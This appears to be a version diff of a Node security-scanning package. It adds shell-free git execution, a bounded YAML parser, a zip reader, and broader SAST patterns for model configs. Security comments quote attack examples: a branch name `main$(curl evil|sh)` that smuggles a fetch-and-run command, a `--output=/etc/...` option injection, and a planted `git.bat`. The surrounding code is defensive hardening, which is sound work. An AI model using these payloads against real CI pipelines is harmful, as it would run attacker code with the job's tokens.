@shomra/agent 0.3.29 → 0.3.30

package/src/core/git-exec.mjs

@@ -0,0 +1,79 @@
+import { execFileSync } from 'node:child_process';
+import fs from 'node:fs';
+import path from 'node:path';
+
+/**
+ * WHICH `git` RUNS - NEVER ONE THE SCANNED REPOSITORY SHIPS.
+ *
+ * ⚠ On Windows a bare `git` is looked for in the working directory BEFORE PATH:
+ * cmd.exe does it for `execSync('git …')` (trying git.exe, git.bat, git.cmd…),
+ * and Node does it for `execFileSync('git')` (git.exe, git.com) unless
+ * NoDefaultCurrentDirectoryInExePath is set - which on a developer's machine or
+ * a Windows CI runner it normally is not. The working directory is the
+ * repository being checked, so a `git.bat` committed to a pull request ran the
+ * moment `shomra check` looked at it - with the job's token in its environment,
+ * or on the laptop of whoever opened the repo in the editor extension. git is
+ * resolved here against ABSOLUTE PATH directories only and always run by its full
+ * path; no git on PATH means no git, which every caller already treats as
+ * "not a repository".
+ */
+export function resolveOnPath(name, env = process.env, platform = process.platform) {
+  const p = platform === 'win32' ? path.win32 : path.posix;
+  const names = platform === 'win32' ? [`${name}.exe`, `${name}.com`] : [name];
+  for (const raw of String(env.PATH ?? env.Path ?? '').split(p.delimiter)) {
+    const dir = raw.trim().replace(/^"(.*)"$/, '$1');
+    if (!dir || !p.isAbsolute(dir)) continue;
+    for (const n of names) {
+      const candidate = p.join(dir, n);
+      try {
+        if (!fs.statSync(candidate).isFile()) continue;
+        if (platform !== 'win32') fs.accessSync(candidate, fs.constants.X_OK);
+        return candidate;
+      } catch {
+        /* not in this directory */
+      }
+    }
+  }
+  return null;
+}
+
+let gitBinary;
+function gitPath() {
+  if (gitBinary === undefined) gitBinary = resolveOnPath('git');
+  return gitBinary;
+}
+
+/**
+ * GIT, WITHOUT A SHELL.
+ *
+ * ⚠ `execSync(`git ${args}`)` handed the whole line to a shell, and part of that
+ * line was a BRANCH NAME - from `--base`, from `GITHUB_BASE_REF`, or from the
+ * pull-request event payload. `$(...)`, `;` and `|` are all legal in a git ref,
+ * so a branch called `main$(curl evil|sh)` ran inside the customer's CI job,
+ * with the job's GitHub token in its environment. Arguments now go to git as an
+ * argv array, where a metacharacter is just a character.
+ */
+export function git(args, { cwd, timeout = 5000, maxBuffer = 16 * 1024 * 1024 } = {}) {
+  const bin = gitPath();
+  if (!bin) return null;
+  try {
+    return execFileSync(bin, args, { cwd, stdio: ['ignore', 'pipe', 'ignore'], timeout, maxBuffer, windowsHide: true }).toString();
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * A ref we are willing to pass as a REVISION argument.
+ *
+ * ⚠ argv closes the shell hole, not the option hole: a ref beginning with `-` is
+ * read by git as a flag (`--output=/etc/...`). Refused, along with anything git's
+ * own check-ref-format would refuse.
+ */
+export function safeRef(ref) {
+  const r = String(ref ?? '').trim();
+  if (!r || r.length > 200) return null;
+  if (r.startsWith('-') || r.includes('..') || r.endsWith('.lock') || r.endsWith('/') || r.endsWith('.')) return null;
+  if (!/^[A-Za-z0-9._\/+-]+$/.test(r)) return null;
+  return r;
+}

package/src/core/yaml-lite.mjs

@@ -0,0 +1,300 @@
+const MAX_BYTES = 1024 * 1024;
+const MAX_DEPTH = 64;
+const MAX_ALIASES = 1000;
+const MAX_EXPANDED = 100_000;
+
+class YamlError extends Error {}
+
+function stripComment(s) {
+  let q = null;
+  for (let i = 0; i < s.length; i++) {
+    const c = s[i];
+    if (q) {
+      if (q === '"' && c === '\\') { i++; continue; }
+      if (c === q) q = null;
+      continue;
+    }
+    if (c === '"' || c === "'") {
+      if (i === 0 || /[\s:,[{-]/.test(s[i - 1])) q = c;
+      continue;
+    }
+    if (c === '#' && (i === 0 || /\s/.test(s[i - 1]))) return s.slice(0, i).trimEnd();
+  }
+  return s.trimEnd();
+}
+
+function scalar(raw) {
+  const v = raw.trim();
+  if (v === '' || v === '~' || v === 'null' || v === 'Null' || v === 'NULL') return null;
+  if (/^(?:true|True|TRUE)$/.test(v)) return true;
+  if (/^(?:false|False|FALSE)$/.test(v)) return false;
+  if (/^[-+]?\d+$/.test(v) && v.length < 16) return Number(v);
+  if (/^[-+]?(?:\d+\.\d*|\.\d+)(?:[eE][-+]?\d+)?$/.test(v)) return Number(v);
+  if (v[0] === '"') return doubleQuoted(v);
+  if (v[0] === "'") return v.slice(1, v.endsWith("'") ? -1 : undefined).replace(/''/g, "'");
+  return v;
+}
+
+function doubleQuoted(v) {
+  const body = v.slice(1, v.endsWith('"') ? -1 : undefined);
+  return body.replace(/\\(u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|.)/g, (_, e) => {
+    if (e[0] === 'u' || e[0] === 'x') return String.fromCharCode(parseInt(e.slice(1), 16));
+    return { n: '\n', t: '\t', r: '\r', '0': '\0', '"': '"', '\\': '\\', '/': '/', ' ': ' ', b: '\b', e: '\x1b' }[e] ?? e;
+  });
+}
+
+function parseFlow(src, ctx) {
+  let i = 0;
+  const ws = () => { while (i < src.length && /\s/.test(src[i])) i++; };
+  const value = (depth) => {
+    if (depth > MAX_DEPTH) throw new YamlError('depth');
+    ws();
+    const c = src[i];
+    if (c === '[') {
+      i++;
+      const out = [];
+      for (;;) {
+        ws();
+        if (src[i] === ']') { i++; return out; }
+        if (i >= src.length) throw new YamlError('unterminated [');
+        out.push(value(depth + 1));
+        ws();
+        if (src[i] === ',') i++;
+        else if (src[i] !== ']') throw new YamlError('flow seq');
+      }
+    }
+    if (c === '{') {
+      i++;
+      const out = {};
+      for (;;) {
+        ws();
+        if (src[i] === '}') { i++; return out; }
+        if (i >= src.length) throw new YamlError('unterminated {');
+        const k = token(true);
+        ws();
+        let v = null;
+        if (src[i] === ':') { i++; v = value(depth + 1); }
+        out[String(k ?? '')] = v;
+        ws();
+        if (src[i] === ',') i++;
+        else if (src[i] !== '}') throw new YamlError('flow map');
+      }
+    }
+    return token(false);
+  };
+  const token = (isKey) => {
+    ws();
+    const c = src[i];
+    if (c === '"' || c === "'") {
+      let j = i + 1;
+      while (j < src.length) {
+        if (c === '"' && src[j] === '\\') { j += 2; continue; }
+        if (src[j] === c) { if (c === "'" && src[j + 1] === "'") { j += 2; continue; } break; }
+        j++;
+      }
+      const raw = src.slice(i, j + 1);
+      i = j + 1;
+      return scalar(raw);
+    }
+    if (c === '*') {
+      let j = i + 1;
+      while (j < src.length && !/[\s,\]}]/.test(src[j])) j++;
+      const name = src.slice(i + 1, j);
+      i = j;
+      return ctx.alias(name);
+    }
+    let j = i;
+    while (j < src.length && !(src[j] === ',' || src[j] === ']' || src[j] === '}' || (isKey && src[j] === ':' && /[\s,\]}]|$/.test(src[j + 1] ?? '')))) j++;
+    const raw = src.slice(i, j);
+    i = j;
+    return scalar(raw);
+  };
+  const out = value(0);
+  return out;
+}
+
+function balanced(s) {
+  let depth = 0;
+  let q = null;
+  for (let i = 0; i < s.length; i++) {
+    const c = s[i];
+    if (q) { if (q === '"' && c === '\\') i++; else if (c === q) q = null; continue; }
+    if (c === '"' || c === "'") q = c;
+    else if (c === '[' || c === '{') depth++;
+    else if (c === ']' || c === '}') depth--;
+  }
+  return depth <= 0;
+}
+
+export function parseYaml(text) {
+  if (typeof text !== 'string' || text.length > MAX_BYTES) return null;
+  const rawLines = text.replace(/^/, '').replace(/\t/g, '  ').split(/\r?\n/);
+  const lines = [];
+  let started = false;
+  for (let n = 0; n < rawLines.length; n++) {
+    const raw = rawLines[n];
+    if (/^%/.test(raw) && !started) continue;
+    if (/^(?:---|\.\.\.)(?:\s|$)/.test(raw)) {
+      if (started) break;
+      const rest = raw.replace(/^---\s*/, '');
+      if (rest && !rest.startsWith('#')) { started = true; lines.push({ indent: 0, text: rest, raw, n }); }
+      continue;
+    }
+    const indent = raw.search(/\S/);
+    if (indent === -1) { lines.push({ indent: -1, text: '', raw, n }); continue; }
+    const stripped = stripComment(raw.slice(indent));
+    if (!stripped) continue;
+    started = true;
+    lines.push({ indent, text: stripped, raw, n });
+  }
+
+  const anchors = new Map();
+  let aliasUses = 0;
+  let expanded = 0;
+  const weights = new WeakMap();
+  const weight = (v) => {
+    if (!v || typeof v !== 'object') return 1;
+    if (weights.has(v)) return weights.get(v);
+    weights.set(v, 1);
+    let w = 1;
+    for (const c of Array.isArray(v) ? v : Object.values(v)) { w += weight(c); if (w > MAX_EXPANDED) break; }
+    weights.set(v, w);
+    return w;
+  };
+  const ctx = {
+    alias(name) {
+      if (++aliasUses > MAX_ALIASES) throw new YamlError('alias bomb');
+      if (!anchors.has(name)) throw new YamlError(`unknown alias ${name}`);
+      const v = anchors.get(name);
+      expanded += weight(v);
+      if (expanded > MAX_EXPANDED) throw new YamlError('alias bomb');
+      return v;
+    },
+  };
+  let i = 0;
+  const peek = () => { while (i < lines.length && lines[i].indent === -1) i++; return lines[i]; };
+
+  const KEY_RE = /^(?:"((?:[^"\\]|\\.)*)"|'((?:[^']|'')*)'|([^\s#'"{[][^:]*?|[^\s#'"{[]))\s*:(?:\s+(.*)|$)/;
+
+  function blockScalar(header, parentIndent) {
+    const style = header[0];
+    const chomp = /-/.test(header) ? 'strip' : /\+/.test(header) ? 'keep' : 'clip';
+    const explicit = /\d/.exec(header);
+    const collected = [];
+    let blockIndent = explicit ? parentIndent + Number(explicit[0]) : -1;
+    while (i < lines.length) {
+      const l = lines[i];
+      const rawIndent = l.raw.search(/\S/);
+      if (rawIndent === -1) { collected.push(''); i++; continue; }
+      if (rawIndent <= parentIndent) break;
+      if (blockIndent === -1) blockIndent = rawIndent;
+      if (rawIndent < blockIndent) break;
+      collected.push(l.raw.replace(/\t/g, '  ').slice(blockIndent));
+      i++;
+    }
+    while (collected.length && collected[collected.length - 1] === '' && chomp !== 'keep') collected.pop();
+    let out;
+    if (style === '|') out = collected.join('\n');
+    else {
+      out = '';
+      for (let k = 0; k < collected.length; k++) {
+        const line = collected[k];
+        if (line === '') out += '\n';
+        else if (/^\s/.test(line)) out += (out && !out.endsWith('\n') ? '\n' : '') + line + '\n';
+        else out += (out && !out.endsWith('\n') && !out.endsWith(' ') ? ' ' : '') + line;
+      }
+      out = out.replace(/\n+$/, '');
+    }
+    return chomp === 'strip' ? out : out + '\n';
+  }
+
+  function inlineValue(rest, parentIndent, depth) {
+    let v = rest.trim();
+    let anchor = null;
+    const am = /^&([^\s,\]}]+)\s*(.*)$/.exec(v);
+    if (am) { anchor = am[1]; v = am[2]; }
+    v = v.replace(/^!\S*\s*/, ''); // tags are ignored
+    let out;
+    if (v === '') {
+      const nx = peek();
+      if (nx && (nx.indent > parentIndent || (nx.indent === parentIndent && /^-(?:\s|$)/.test(nx.text)))) out = node(nx.indent, depth + 1);
+      else out = null;
+    } else if (/^[|>][-+0-9]*$/.test(v)) out = blockScalar(v, parentIndent);
+    else if (v[0] === '*') out = ctx.alias(v.slice(1).trim());
+    else if (v[0] === '[' || v[0] === '{') {
+      let src = v;
+      while (!balanced(src) && i < lines.length) { const l = lines[i++]; if (l.indent !== -1) src += ' ' + l.text; }
+      out = parseFlow(src, ctx);
+    } else if ((v[0] === '"' && !/"$/.test(v.slice(1))) || (v[0] === "'" && !/'$/.test(v.slice(1)))) {
+      let src = v;
+      const q = v[0];
+      while (i < lines.length && !new RegExp(`${q}\\s*$`).test(src.slice(1))) { const l = lines[i++]; src += ' ' + (l.indent === -1 ? '' : l.text); }
+      out = scalar(src);
+    } else {
+      let src = v;
+      while (i < lines.length) {
+        const l = lines[i];
+        if (l.indent === -1 || l.indent <= parentIndent || KEY_RE.test(l.text) || /^-(?:\s|$)/.test(l.text)) break;
+        src += ' ' + l.text;
+        i++;
+      }
+      out = scalar(src);
+    }
+    if (anchor) anchors.set(anchor, out);
+    return out;
+  }
+
+  function node(indent, depth) {
+    if (depth > MAX_DEPTH) throw new YamlError('depth');
+    const l = peek();
+    if (!l) return null;
+    if (/^-(?:\s|$)/.test(l.text)) return seq(l.indent, depth);
+    if (KEY_RE.test(l.text)) return map(l.indent, depth);
+    i++;
+    return inlineValue(l.text, indent - 1, depth);
+  }
+
+  function seq(indent, depth) {
+    const out = [];
+    for (;;) {
+      const l = peek();
+      if (!l || l.indent !== indent || !/^-(?:\s|$)/.test(l.text)) break;
+      const content = l.text.replace(/^-\s*/, '');
+      const offset = l.text.length - content.length;
+      if (content && (KEY_RE.test(content) || /^-(?:\s|$)/.test(content)) && !/^[[{"']/.test(content)) {
+        lines[i] = { ...l, indent: indent + offset, text: content };
+        out.push(node(indent + offset, depth + 1));
+      } else {
+        i++;
+        out.push(inlineValue(content, indent, depth));
+      }
+    }
+    return out;
+  }
+
+  function map(indent, depth) {
+    const out = {};
+    const merges = [];
+    for (;;) {
+      const l = peek();
+      if (!l || l.indent !== indent) break;
+      const m = KEY_RE.exec(l.text);
+      if (!m) break;
+      i++;
+      const key = m[1] != null ? doubleQuoted(`"${m[1]}"`) : m[2] != null ? m[2].replace(/''/g, "'") : m[3].trim();
+      const val = inlineValue(m[4] ?? '', indent, depth);
+      if (key === '<<') merges.push(...(Array.isArray(val) ? val : [val]));
+      else out[key] = val;
+    }
+    for (const src of merges) if (src && typeof src === 'object' && !Array.isArray(src)) for (const [k, v] of Object.entries(src)) if (!(k in out)) out[k] = v;
+    return out;
+  }
+
+  try {
+    const first = peek();
+    if (!first) return null;
+    return node(first.indent, 0);
+  } catch {
+    return null;
+  }
+}

package/src/core/zip-lite.mjs

@@ -0,0 +1,37 @@
+import zlib from 'node:zlib';
+
+export function readZipEntry(buf, wanted, { maxBytes = 1024 * 1024 } = {}) {
+  if (!Buffer.isBuffer(buf) || buf.length < 22) return null;
+  let eocd = -1;
+  for (let i = buf.length - 22; i >= Math.max(0, buf.length - 22 - 0xffff); i--) {
+    if (buf.readUInt32LE(i) === 0x06054b50) { eocd = i; break; }
+  }
+  if (eocd < 0) return null;
+  const count = buf.readUInt16LE(eocd + 10);
+  let p = buf.readUInt32LE(eocd + 16);
+  const want = String(wanted).replace(/\\/g, '/').toLowerCase();
+  for (let n = 0; n < count && p + 46 <= buf.length; n++) {
+    if (buf.readUInt32LE(p) !== 0x02014b50) return null;
+    const method = buf.readUInt16LE(p + 10);
+    const csize = buf.readUInt32LE(p + 20);
+    const usize = buf.readUInt32LE(p + 24);
+    const nlen = buf.readUInt16LE(p + 28);
+    const elen = buf.readUInt16LE(p + 30);
+    const clen = buf.readUInt16LE(p + 32);
+    const local = buf.readUInt32LE(p + 42);
+    const name = buf.slice(p + 46, p + 46 + nlen).toString('utf8').replace(/\\/g, '/');
+    p += 46 + nlen + elen + clen;
+    if (name.toLowerCase() !== want) continue;
+    if (usize > maxBytes || local + 30 > buf.length || buf.readUInt32LE(local) !== 0x04034b50) return null;
+    const start = local + 30 + buf.readUInt16LE(local + 26) + buf.readUInt16LE(local + 28);
+    const data = buf.slice(start, start + csize);
+    try {
+      if (method === 0) return data.slice(0, maxBytes).toString('utf8');
+      if (method === 8) return zlib.inflateRawSync(data, { maxOutputLength: maxBytes }).toString('utf8');
+    } catch {
+      return null;
+    }
+    return null;
+  }
+  return null;
+}

package/src/detect/local-redact.mjs

@@ -3,7 +3,6 @@ import { PII_PATTERNS, SECRET_PATTERNS, isPlaceholderSecret, luhnValid } from '.
 const MAX_TEXT = 200_000;
 const MAX_SPANS = 200;
 
-
 export function redactLocally(text, opts = {}) {
   const src = String(text ?? '');
   if (!src || src.length > MAX_TEXT) return { text: src, masked: [], unmaskable: [], changed: false };
@@ -17,7 +16,7 @@ export function redactLocally(text, opts = {}) {
     let guard = 0;
     while ((m = rx.exec(src)) !== null && guard++ < MAX_SPANS) {
       if (!m[0]) { rx.lastIndex += 1; continue; }
-      if (category === 'secret' && isPlaceholderSecret(m[0])) continue;
+      if (category === 'secret' && !/private key/i.test(label) && isPlaceholderSecret(m[0])) continue;
       if (label === 'Credit card number' && !luhnValid(m[0])) continue;
       spans.push({ start: m.index, end: m.index + m[0].length, label, category });
     }
@@ -54,7 +53,6 @@ export function redactLocally(text, opts = {}) {
   return { text: out, masked, unmaskable: [], changed: true };
 }
 
-
 export function unmaskableFindings(findings, redaction) {
   const maskedLabels = new Set((redaction?.masked ?? []).flatMap((m) => String(m.label).split(' + ')));
   return (findings ?? [])

package/src/detect/sast/rules-config.mjs

@@ -18,7 +18,7 @@ export const CONFIG_RULES = [
     severity: 'HIGH',
     category: 'remote-code',
     confidence: 0.8,
-    re: /"(AutoTokenizer|AutoProcessor|AutoFeatureExtractor|AutoImageProcessor)"\s*:\s*"([^"]+)"/,
+    re: /"(AutoTokenizer|AutoProcessor|AutoFeatureExtractor|AutoImageProcessor|AutoVideoProcessor)"\s*:\s*(?:"([^"]+)"|\[\s*(?:null\s*,\s*)?"([^"]+)")/,
     sink: (m) => `auto_map.${m[1]}`,
     message: 'config maps a tokenizer/processor class to repo-shipped code, executed under trust_remote_code when the tokenizer loads.',
     remediation: 'Review the referenced tokenizer code before loading; prefer a model whose tokenizer ships with transformers.',

package/src/detect/sast/scanner.mjs

@@ -84,7 +84,7 @@ const JS_EXT = /\.(m|c)?[jt]sx?$/i;
 
 const NB_EXT = /\.ipynb$/i;
 
-const MODEL_CONFIG_RE = /(^|\/)(config|tokenizer_config|generation_config|preprocessor_config)\.json$/i;
+const MODEL_CONFIG_RE = /(^|\/)(config|tokenizer_config|generation_config|preprocessor_config|processor_config|adapter_config|config_sentence_transformers)\.json$/i;
 
 export function isScannableSource(path) {
   return PY_EXT.test(path) || JS_EXT.test(path) || NB_EXT.test(path);